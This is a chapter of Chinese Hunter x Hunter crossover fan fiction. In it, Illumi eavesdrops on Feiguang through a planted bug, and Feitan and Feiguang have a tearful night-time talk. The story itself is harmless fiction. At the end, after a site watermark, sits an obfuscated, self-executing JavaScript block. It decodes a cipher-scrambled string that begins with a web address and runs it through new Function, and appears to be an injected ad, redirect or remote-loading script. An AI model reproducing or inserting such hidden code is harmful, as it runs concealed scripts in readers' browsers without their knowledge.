(手机请访问 m.duxs8.com); 奇犽·揍敌客失眠了。
只要一闭上眼睛,他的脑海里就会出现下午发生在他家后花园的事,想起他大哥是如何不要脸地用自己未婚妻的位置去坑钱的,想起他大哥是如何面不改色心不跳地跟幻影旅团的人讲价的,想起...
奇犽只要一想起来,都想把自己挖个坑埋了!
他怎么就摊上这么个大哥呢?他大哥怎么好意思当着他这么不要脸呢?他大哥考虑过他还是个孩子吗?
奇犽委屈得都快哭了,但是他的男子汉,不能哭,不仅不能哭,他还得想办法解决。
对,没错,绯光是他的的朋友,她被坑了,他得想办法帮她!
奇犽咬着大拇指的指甲,开始琢磨了。
其实说要帮忙,奇犽一下子也想不出什么好办法,简单粗暴一点儿的做法就是他直接去妈妈面前揭露他大哥,虽然后果可能是妈妈持续尖叫三天余音绕梁不绝于耳,然后大哥会气得想杀了他,但是...但是为了朋友!这点小阻碍算什么呢!
为了朋友!
奇犽在被窝里捏起拳头:“明天就去找妈...”
“哦,找妈妈干什么?”床边忽然响起一个熟悉又听不出什么情绪的嗓音,然后奇犽发觉自己的被子被人稍微揭开了一点儿:“奇犽,我跟你说过多少次了,蒙着头睡不好。”
“哇!”奇犽忍不住喊了一声,从床上爬起来:“大、大哥!你...”
你大半夜的不睡觉跑到我房间里来干嘛!难道已经进化到亲弟弟都不放过的地步了吗!要把我卖到大山里去当童养夫了吗!
一想到这里,奇犽的表情更诡异了,一双宝石蓝的猫眼紧紧盯着床边站着的伊尔迷。
“...奇犽。”两双猫眼就这么对上了,伊尔迷歪了歪头:“晚上不要这么大声,会吵到其他人休息的。”
奇犽:“...”
槽多无口啊喂!你也知道大半夜的会打扰到人家休息吗!那你现在跑到我房间里来是要一起睡吗!
“奇犽,你真是的...”伊尔迷看着都快退到墙壁上贴着的弟弟,漆黑幽深的双眸里依然没什么情绪,但是他的语气中却带着淡淡的无奈:“果然还是个孩子吧,晚上看见哥哥会激动得睡不着吗?”
“...”睡不着你大爷啊!奇犽这次是真的不想吐槽了,他警惕地问:“所以呢,大哥,你这么晚了究竟想干嘛?”
伊尔迷眨了眨眼睛:“其实也没有什么特别的事,只是想嘱咐你一件事而已。”
“什、什么?”奇犽有种不好的预感。
“绯光的事,不要告诉妈妈。”伊尔迷说,“这次跟以前不一样,不要调皮。”
奇犽:“...这是调皮的问题吗?还有除了你能讹的钱多一点还有什么不一样啊!”
“当然不一样了,奇犽。”伊尔迷偏了偏头,严肃地说:“这次的钱特别多,要做好几十个任务才能赚到这么多钱。所以,如果你告诉了妈妈,我会生气的。”
伴随着伊尔迷的话,恶意的念也悄无声息地展开,骨节分明的大手伸向奇犽。
“你...”还没有学念的小白猫顿时脸色煞白,冷汗布满额头。
但是伊尔迷伸出的手快要触碰到奇犽的时候,他忽然停住了,好看的眉头微微皱了一下,似乎听到了什么响动的样子。
奇犽趁机就准备跑路,但是他大哥的速度比他更快,立刻就封死了他的退路,然后把手摊开,细微的声音从掌心的手机里传出来。
“阿飞?”
是绯光的声音。
然后是窗户被打开的声音,紧接着是风声,风声之后又响起了绯光的声音:“阿飞,是你吧,不要藏了,我怎么可能认不出来你的念压啊。”
那头安静了一会儿,才响起一个细微的响动。
听起来似乎是有人踩在了窗台上。
“不躲猫猫了?”绯光的声音听起来很欢快,欢快里面还带着那么一丝宠溺(?)的意味:“阿飞,你是不是在跟我闹别扭?就是上一次没有好好告别...”
打断绯光的话的是一声冷笑。
“告别?”这次响起的是那个残暴的矮子的声音:“你这种...”
才说了几个字,那个矮子忽然沉默了,紧接着一阵电流声从手机里传来,再有什么声音响起的时候已经不像刚才那么遥远了:“这是什么?”
“这是...”绯光似乎愣了一下,然后反应而过来了,语气里立刻多了咬牙切齿的意味:“伊尔迷那个混蛋,竟然——”
嘭!
彻底安静了。
“啊,被发现了。”伊尔迷有点遗憾地说。
奇犽这次真的是目瞪口呆了:“大哥!你怎么这么不要脸!你竟然在绯光身上放监听器?!”
“奇犽,我不是教过你的吗?”伊尔迷用手摸了一下奇犽蓬松的头发:“对待不能完全掌控的东西,就不能掉以轻心,用在人身上也一样合适。”
走廊的另一头,绯光一把把被捏爆了的监听器扔出了窗户:“伊尔迷这个混蛋!等任务完成了,马上送他去见上帝!”
“任务?”飞坦敏感地捕捉到了关键词,上次在遗迹里绯光已经跟他说过自己必须做一些任务才能活下来,所以飞坦就想到了什么:“你这次回来,是在这里做任务?”
“...没错。”绯光犹豫了一下,还是决定实话实说:“所以暂时我不能离开揍敌客家,我的任务对象是今天你看到的那个小男孩,他叫奇犽·揍敌客,是伊尔迷的弟弟。”
话说到这里,绯光都做好飞坦继续问的准备了,谁知道飞坦竟然沉默了,绯光赶紧偷偷打量飞坦的神色,以防进来越发暴躁的杀胚原地爆炸,谁知道他竟然露出了一脸...难以言喻的表情。
“后来库洛洛调查过你离开流星街之后,究竟去哪儿了。”沉默了一会儿之后,飞坦紧皱着眉头开口了:“你和佐助在天空竞技场住过一段时间,和伊尔迷·揍敌客走得很近。”
绯光咳了一声:“那个也是...”
“那个时候伊尔迷·揍敌客应该八岁吧?”飞坦打断绯光的话,一双漂亮又锋利的眼睛看过来:“你把佐助带回来的时候,佐助是八岁,库洛洛他们差不多也是这个年纪,而库洛洛十一岁的时候你离开流星街,去找了八岁的伊尔迷。”
飞坦顿了一下:“那个银发的小子也是八岁?”
绯光不知道飞坦为什么忽然纠结起年龄的问题来了,但还是点了点头。
“你是不是...”那个难以言喻的神情又出现了,“对这个年纪的家伙,特别有兴趣?”
绯光:“???”
把飞坦从窗户里面打出去之后,绯光才一脸郁闷地回到床上,盖上被子准备睡觉。
绯光现在是对自己的大家长威严毫不抱希望了,儿大不由娘这句话果然是古人凝结在话语中的智慧啊,看看飞坦,现在竟然怀疑她...
好吧,虽然有时候任务使然,她看上去的确有点像变态。
但是人艰不拆,飞坦那家伙也不能当着她面儿质疑她对不对?
比变态谁能比得过他!
绯□□哼哼地翻了个身,眼睛盯着半敞的窗户,思绪还没来得及飘远呢,就感觉到那股熟悉的念压还在附近。
“大半夜的不睡觉,一直守在我窗外干什么...”绯光生气一直是来得快去得也快,更何况她也没真生气,所以一看外面夜风呼啸就又心软了,虽然飞坦有念力护体,但是一个人待在外面,黑漆漆的,身体不冷心都会冷啊...
好吧,暴躁断腿蜘蛛的心可能本来就是冷的。
绯光拉了拉睡裙的裙摆,又走到了窗边,朝外面喊了一声:“阿飞。”
黑色的人影应声出现在窗台上。
“我说啊,”绯光拍了拍窗台,示意他坐下来:“你怎么还没回去睡?我有弱到需要你守着保护吗?”
“呵,”沉默了片刻,飞坦忽然笑了,不过那个笑容更趋于冰冷:“谁知道你会不会什么时候又
莫名其妙地消失?”
虽然前言不搭后语,但是绯光明白过来了:“你这是...怕我消失?”
“如果我说是,”飞坦拉下面罩,露出白皙清秀的伪正太脸,但是那张清秀的伪正太脸却带着嘲讽的意味,缓缓逼近绯光:“如果我说是,你怎么回答?给我承诺吗?”
“...”绯光看着飞坦嘲讽冰冷的神情,抿了抿唇,对她来说,最不可能的就是承诺了。
宇智波绯光的命,根本就不是捏在自己手里的。
飞坦好像也早就料到了她的回答,他伸手牵起她的一缕头发,漫不经心地把玩着:“你上一次离开了十年,这一次离开了两年,下一次呢?”
“这么多年你一直都没有变过,那么我可以认为你不老不死,对么?”那双漂亮又危险的眼睛直视着绯光的眼睛:“可是我不一样。”
暴戾而残忍的情绪在灰蓝色的眼瞳里渐渐浮现:“我没有那么多年可以等,也许下一次,听见你的消息,我不会再赶过来,甚至我根本就不想再听见你的消息。”
“...”
绯光无法做出回应,这样的问题本来就是不可能解决的。但是看见这样的飞坦,她第一次对自己选择无论以何种方式也要活下去的信念产生了怀疑。
飞坦。
绯光打量着他,身形矮小,眼神暴戾,性格凶残,一言不合就虐杀,最大的爱好是刑讯和解剖...怎么看都不算一个好人,但是这个十恶不赦的男人却是陪伴她最久的人,一听到她的消息就以最快的速度赶过来的人。
绯光不知道自己对飞坦来说是不是最重要的存在,但是这一瞬间,绯光看着飞坦的眼睛,却有种这样的感觉。
她对飞坦来说,是最重要的。
比家人重要、比同伴重要、比大义重要、比整个世界都重要。
“阿飞,”绯光看着他,冰凉皎洁的月光掠过他的脸洒在她的脸上:“能借我靠一下吗?”
飞坦没有说话,但是绯光能明显得感受到他的气场比以往任何时候都要柔和,这一瞬间一直缠绕在飞坦的眼里的暴戾和杀气仿佛都消失了。
绯光往飞坦那边走了一步,把头埋在了飞坦的肩上。
“其实我也不想的,阿飞。”
“我本来就是个普通人,过着普通的生活,喜欢谁就努力去靠近,不会有什么大义横亘在我们中间,不会有仇恨横亘在我们中间。”
“我也常常会想,为什么死的会是我?为什么不得不穿梭在不同世界中的人是我?为什么时间停滞的是我?为什么被看待的最重要的不是我?为什么不能嫁人生子不能留在最重要的人的身边的是我?”
“阿飞,我也想留下来,我想跟你,跟你们在一起,但是,但是我...”
说到最后绯光就哽咽了,因为性格的关系,绯光对什么事情都看得很开,心很大,很小的时候就不怎么哭了,跌了一跤爬起来还乐呵呵的,所以哪怕来到陌生的世界、被系统逼迫着不停地做任务,不停地辗转流离,绯光也从来没哭过。
但是不知道怎么的,当一只并不温暖的手并不温柔、甚至有点粗暴地按在她脑袋上的时候,绯光忽然委屈得哭了出来。(83中文网 .83zw.)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();